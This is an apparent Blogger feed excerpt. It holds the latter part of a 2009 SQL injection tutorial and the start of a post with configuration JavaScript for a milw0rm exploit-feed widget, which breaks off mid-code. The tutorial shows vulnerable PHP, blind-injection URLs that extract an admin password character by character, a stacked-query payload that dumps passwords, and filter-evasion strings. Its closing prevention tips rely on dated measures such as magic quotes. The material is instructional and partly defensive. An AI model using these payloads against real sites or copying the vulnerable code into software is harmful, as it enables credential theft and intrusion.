/&gt;&lt;br /&gt;- SUBSTR(str,pos), SUBSTR(str  FROM pos), &lt;br /&gt;   SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)&lt;br /&gt;&lt;br /&gt;SUBSTR() is a synonym for SUBSTRING(). &lt;br /&gt;&lt;br /&gt;mysql&gt; select substring('Blind SQL', 1, 1);&lt;br /&gt;----------------------------&lt;br /&gt;| substring('Blind SQL', 1, 1) |&lt;br /&gt;----------------------------&lt;br /&gt;| B                                  |&lt;br /&gt;----------------------------&lt;br /&gt;&lt;br /&gt;mysql&gt; select substring('Blind SQL', 2, 1);&lt;br /&gt;----------------------------&lt;br /&gt;| substring('Blind SQL', 2, 1) |&lt;br /&gt;----------------------------&lt;br /&gt;| l                                   |&lt;br /&gt;----------------------------&lt;br /&gt;&lt;br /&gt;- LOWER(str)&lt;br /&gt;&lt;br /&gt;Returns the string str with all characters changed to lowercase according to &lt;br /&gt;the current character set mapping. The default is latin1 (cp1252 West European).&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT LOWER('SQL');&lt;br /&gt;----------------&lt;br /&gt;| LOWER('SQL') |&lt;br /&gt;----------------&lt;br /&gt;| sql               |&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;- UPPER(str)&lt;br /&gt;&lt;br /&gt;Returns the string str with all characters changed to uppercase according to &lt;br /&gt;the current character set mapping. The default is latin1 (cp1252 West European).&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT UPPER('sql');&lt;br /&gt;--------------&lt;br /&gt;| UPPER('sql') |&lt;br /&gt;--------------&lt;br /&gt;| SQL           |&lt;br /&gt;--------------&lt;br /&gt;&lt;br /&gt;Now we have understood the principals MySQL functions that could be used while&lt;br /&gt;trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)&lt;br /&gt;&lt;br /&gt;What we need again? Suppose that we know for a moment the admin password: "secret".&lt;br /&gt;&lt;br /&gt;mysql&gt; select ascii('s');&lt;br /&gt;-----------&lt;br /&gt;| ascii('s') |&lt;br /&gt;-----------&lt;br /&gt;|        115|&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;mysql&gt; select ascii('e');&lt;br /&gt;-----------&lt;br /&gt;| ascii('e') |&lt;br /&gt;-----------&lt;br /&gt;|        101|&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;mysql&gt; select ascii('c');&lt;br /&gt;-----------&lt;br /&gt;| ascii('c') |&lt;br /&gt;-----------&lt;br /&gt;|         99 |&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;mysql&gt; select ascii('r');&lt;br /&gt;-----------&lt;br /&gt;| ascii('r') |&lt;br /&gt;-----------&lt;br /&gt;|        114|&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;mysql&gt; select ascii('t');&lt;br /&gt;-----------&lt;br /&gt;| ascii('t') |&lt;br /&gt;-----------&lt;br /&gt;|        116|&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;It's time to watch the source code:&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;[ ... ]&lt;br /&gt;&lt;br /&gt;$SQL = "select * from news where id=".$_GET['id']." LIMIT 1";&lt;br /&gt;&lt;br /&gt;$result = mysql_query($SQL);&lt;br /&gt;&lt;br /&gt;if (!$result) {&lt;br /&gt;    die('Invalid query: ' . mysql_error());&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;[ ... ]&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;Now, try to "exploit the bug" by requesting this URL:&lt;br /&gt;http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;WELCOME TO www.victim.net NEWS&lt;br /&gt;&lt;br /&gt;Title:testing news&lt;br /&gt;&lt;br /&gt;News:&lt;br /&gt;what about SQL Injection?&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;The query is TRUE (we know that the first letter of the password is 's') and therefore, the query will be:&lt;br /&gt;&lt;br /&gt;SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1&lt;br /&gt;&lt;br /&gt;What is the number 115? Read upon is the ascii value of the 's'. We retrieved the first character&lt;br /&gt;of the password (by using some MySQL functions). &lt;br /&gt;&lt;br /&gt;.:. (SELECT pwd FROM usr WHERE id=1) =&gt; SELECT the password of the user with ID=1 (admin)&lt;br /&gt;.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) =&gt; Get the first letter of the password (in this case 's')&lt;br /&gt;.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) =&gt; Get the ASCII code of the first letter (115 in this case)&lt;br /&gt;&lt;br /&gt;And how to retrieve the second letter of the password? Just carry out this query:&lt;br /&gt;&lt;br /&gt;SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1&lt;br /&gt;&lt;br /&gt;by requesting this URL:&lt;br /&gt;http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101&lt;br /&gt;&lt;br /&gt;The third character? And the others? Just make the same query with the right values. &lt;br /&gt;Take in mind that you can also use the "greater then" (&gt;) and "less then" (&lt;) symbols &lt;br /&gt;instead of the equal; to find the ASCII letter between a range of letters. &lt;br /&gt;Eg.: between 100 and 116; and so on.&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x07: Double Query ]&lt;br /&gt;&lt;br /&gt;Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved &lt;br /&gt;Extension) that is an extension allows you to access to the functionality provided&lt;br /&gt;by MySQL 4.1 and above.&lt;br /&gt;&lt;br /&gt;I'll explain a  very interesting bug that could be very dangerous for the&lt;br /&gt;system. A not properly sanitized variable passed in the method called multi_query of&lt;br /&gt;the mysqli class can be used to perform a "double" sql query injection.&lt;br /&gt;&lt;br /&gt;mysqli_multi_query (PHP 5) is able to performs one or more queries on the&lt;br /&gt;database selected. The queries executed are concatenated by a semicolon.&lt;br /&gt;&lt;br /&gt;Look this example to know what I'm talking about:&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$mysqli = new mysqli("localhost", "root", "root", "test");&lt;br /&gt;&lt;br /&gt;if (mysqli_connect_errno()) {&lt;br /&gt;    printf("Connect failed: %s\n", mysqli_connect_error());&lt;br /&gt;    exit();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$query  = "SELECT user FROM usr WHERE id =". $_GET['id'].";";&lt;br /&gt;$query .= "SELECT texts FROM news WHERE id =". $_GET['id'];&lt;br /&gt;&lt;br /&gt;    echo 'UserName: ';&lt;br /&gt;    &lt;br /&gt;if ($mysqli-&gt;multi_query($query)) {&lt;br /&gt;    do {&lt;br /&gt;        /* the first result set */&lt;br /&gt;        if ($result = $mysqli-&gt;store_result()) {&lt;br /&gt;            while ($row = $result-&gt;fetch_row()) {&lt;br /&gt;                echo " - " .$row[0]. "&lt;br&gt;" ;&lt;br /&gt;            }&lt;br /&gt;            $result-&gt;free();&lt;br /&gt;        }&lt;br /&gt;        /* print divider */&lt;br /&gt;        if ($mysqli-&gt;more_results()) {&lt;br /&gt;            echo "/-/-/-/-/-/-/-/-/-/-/-/-/-/&lt;br&gt;";&lt;br /&gt;        }&lt;br /&gt;    } while ($mysqli-&gt;next_result());&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* close connection */&lt;br /&gt;$mysqli-&gt;close();&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;If a user request the follow URL:&lt;br /&gt;&lt;br /&gt;http://www.victim.net/CMS/multiple.php?id=2&lt;br /&gt;&lt;br /&gt;The browser reply with this information:&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;UserName: - ad&lt;br /&gt;/-/-/-/-/-/-/-/-/-/-/-/-/-/&lt;br /&gt;- could be bypassed easily?&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;But the source code is bugged. The $query variable is vulnerable because &lt;br /&gt;a user can supply using the GET method, an evil id and can do multiple (evil) queries.&lt;br /&gt;&lt;br /&gt;Trying with this request:&lt;br /&gt;&lt;br /&gt;http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*&lt;br /&gt;&lt;br /&gt;We will obtain the users passwords.&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;UserName: - ad&lt;br /&gt;/-/-/-/-/-/-/-/-/-/-/-/-/-/&lt;br /&gt;- secret&lt;br /&gt;- adpwd&lt;br /&gt;- test&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x08: Filters Evasion ]&lt;br /&gt;&lt;br /&gt;Web Application could implements some input filters that prevent an attacker from &lt;br /&gt;exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application&lt;br /&gt;can use some mechanism that are able to sanitize, block or parse in some ways&lt;br /&gt;user-supply data. This kind of filters could be bypassed by using differents methods,&lt;br /&gt;here I wanna try to give to you some ideas; but certainly one filter differ from&lt;br /&gt;an other one so, you have to try/find different methods to bypass it.&lt;br /&gt;&lt;br /&gt;- Imagine that we have to bypass a login form; but the comment symbol is blocked,&lt;br /&gt;we can bypass this issue but injecting this data ' OR 'a' = 'a instead of ' OR 1 = 1 /*&lt;br /&gt;&lt;br /&gt;- The filter try to prevent an SQL Injection by using this kind of Signature: ' or 1=1 (Case-insensitive).&lt;br /&gt;An attacker can bypass this filter using ' OR 'foobar' = 'foobar for example.&lt;br /&gt;&lt;br /&gt;- Suppose that the application filter the keyword "admin", to bypass this filter we have just&lt;br /&gt;to use some MySQL functions such as CONCAT or CHAR for example:&lt;br /&gt;union select * from usr where user = concat('adm','in')/*&lt;br /&gt;union select * from usr where user=char(97,100,109,105,110)/*&lt;br /&gt;&lt;br /&gt;This is only a little part of "filter evasion techniques". Different filters work&lt;br /&gt;differently, I can't stay on this topic forever; I just gave to you some ideas.&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x09: SQL Injection Prevention ]&lt;br /&gt;&lt;br /&gt;How to prevent this type of attacks? Here below I just wanna write some&lt;br /&gt;tips that you can use to make your web application more secure.&lt;br /&gt;&lt;br /&gt;1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini, &lt;br /&gt;and so on..) can help us with the magic quote functions. Other interesting functions can&lt;br /&gt;be setted to On; take a look inside this file.&lt;br /&gt;&lt;br /&gt;Magic quotes can be used to escape automatically with backslash the user-supply single-quote ('),&lt;br /&gt;double-quote ("), backslash (\) and NULL characters.&lt;br /&gt;The 3 magic quotes directives are:&lt;br /&gt;&lt;br /&gt;- magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.&lt;br /&gt;- magic_quotes_runtime, if enabled, most functions that return data from an external source, will have&lt;br /&gt;quotes escaped with a backslash.&lt;br /&gt;- magic_quotes_sybase, that escape the ' with '' instead of \'.&lt;br /&gt;&lt;br /&gt;2.) deploy mod_security for example&lt;br /&gt;&lt;br /&gt;3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate&lt;br /&gt;every user inputs.&lt;br /&gt;&lt;br /&gt;4.) For integer input validate it by casting the variable&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x10: Conclusion ]&lt;br /&gt;&lt;br /&gt;Here we are, at the end of this paper. As said upon, I hope you enjoyed it and&lt;br /&gt;for any questions please mail me.&lt;br /&gt;-------------------------------------------------------------------------------[/]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4132046750177159793?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4132046750177159793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/mysql-secure-web-apps-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4132046750177159793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4132046750177159793'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/mysql-secure-web-apps-sql-injection.html' title='MySQL: Secure Web Apps - SQL Injection techniques'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-1549394260703170472</id><published>2009-08-05T22:22:00.000-07:00</published><updated>2009-08-26T19:30:21.216-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>milw0rm Javascript Content Parser v3.0</title><content type='html'>&lt;b&gt;Changes&lt;/b&gt;:&lt;br /&gt;*AJAX rendering techniques&lt;br /&gt;*Browser compliance! designed for Internet Explorer 6 &amp;amp; 7, Firefox, Opera, Seamonkey, Safari&lt;br /&gt;*The code is smaller, I made it too big of useless stuffs in 2.0&lt;br /&gt;*The javascript does no more act on the page loading time if the source feed is offline or timeout, simply choose when it will load the remote feed by adding update_ModuleX(); anywhere on your page, preferably in the footer.&lt;br /&gt;*PHP proxy (this is optional, see post #2 in this thread)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;What is it&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;This is a simple javascript code wich you can copy and paste on your website to stay informed about the various public exploits, I have started building it 2 years ago from a basic code made by sophos, then with str0ke's cooperation I have got the idea to port it for milw0rm, rewriting it with AJAX styles, and that's what it is now. I think I won't update it much because it is now perfectly running, maybe a few minor updates to enhance the browsers compatibilities.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How to use it&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;The code below is the sample code for the remote exploits section in milw0rm, if you would like to display other sections like dos, local, webapps, just change the configuration settings in the header of the code and replace all occurences of &lt;b&gt;milalerts1&lt;/b&gt; to the &lt;b&gt;milalerts#&lt;/b&gt; defined for each sections, you should know that they are defined like this on milw0rm.com:&lt;ul&gt;&lt;li&gt;remote exploits = milalerts1&lt;/li&gt;&lt;li&gt;local exploits = milalerts2&lt;/li&gt;&lt;li&gt;webapps exploits = milalerts3&lt;/li&gt;&lt;li&gt;dos exploits = milalerts4&lt;/li&gt;&lt;/ul&gt;You must have only 10 occurences to change, with a quick editor that's fast to achieve.&lt;br /&gt;&lt;br /&gt;//update:&lt;br /&gt;I have forgot to mention, if you would like to display several milw0rm modules on a same web page, you must think to rename all occurences of &lt;b&gt;_Module1&lt;/b&gt; to &lt;b&gt;_Module#&lt;/b&gt; where &lt;b&gt;#&lt;/b&gt; is a unique number from 2 to 4 for example, this will work around some functions that could be mixed between each modules.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Code&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;PHP Code:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code style="white-space: nowrap;"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;!-- &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;MILW0RM javascript v3.0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;: &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;latest 10 remote exploits &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;- &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;START &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;--&gt;&lt;br /&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;script type&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"text/javascript"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// Layout settings&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;feed_Module1              &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'http://milw0rm.com/js/3.0/remote.php'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// news url&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_border_Module1      &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'0'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table border size (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_width_Module1       &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'175'             &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table width, in % or px (default:100%)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_cspacing_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'1'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table cellspacing (default:1)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_cpadding_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'0'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table cellpadding (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_bgcolour_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#000000'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table background colour (default:#000000)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_bdcolour_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#000000'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table border colour (default:#000000)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_bgpic_Module1       &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''                &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table background picture (default:none)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_align_Module1       &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'left'            &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table horizontal alignement, LEFT | RIGHT (default:left)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_hspace_Module1      &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'0'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table horizontal space (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_vspace_Module1      &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'0'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table vertical space (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_height_Module1      &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'0'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// table height (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_align_Module1      &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'left'            &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header horizontal alignement, LEFT | CENTER | MIDDLE | RIGHT (default:left)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_valign_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''                &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_height_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'0'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header height (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_bgcolour_Module1   &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#000000'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header background colour (default:#000000)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_tcolour_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#FFFFFF'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header text colour (default:#FFFFFF)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_ttheme_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''                &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header text theme (default:Eras Medium ITC)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_tsize_Module1      &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'1'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header text size (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_title1_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'remote exploits' &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header plural title&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_title2_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'remote exploit'  &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// header singular title&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_align_Module1     &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'center'          &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column1 alignement, LEFT | CENTER | MIDDLE | RIGHT (default:center)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_valign_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''                &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column1 vertical alignement, TOP | MIDDLE | CENTER | BOTTOM | BASELINE (default:none)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_height_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'0'               &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column1 height (default:0)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_bgcolour_Module1  &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#918484'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column1 background colour (default:#918484)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_tcolour_Module1   &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#000000'         &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column1 text colour (default:#000000)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_ttheme_Module1    &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;''                &lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;// column1 text theme (default:Arial Narrow)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;var 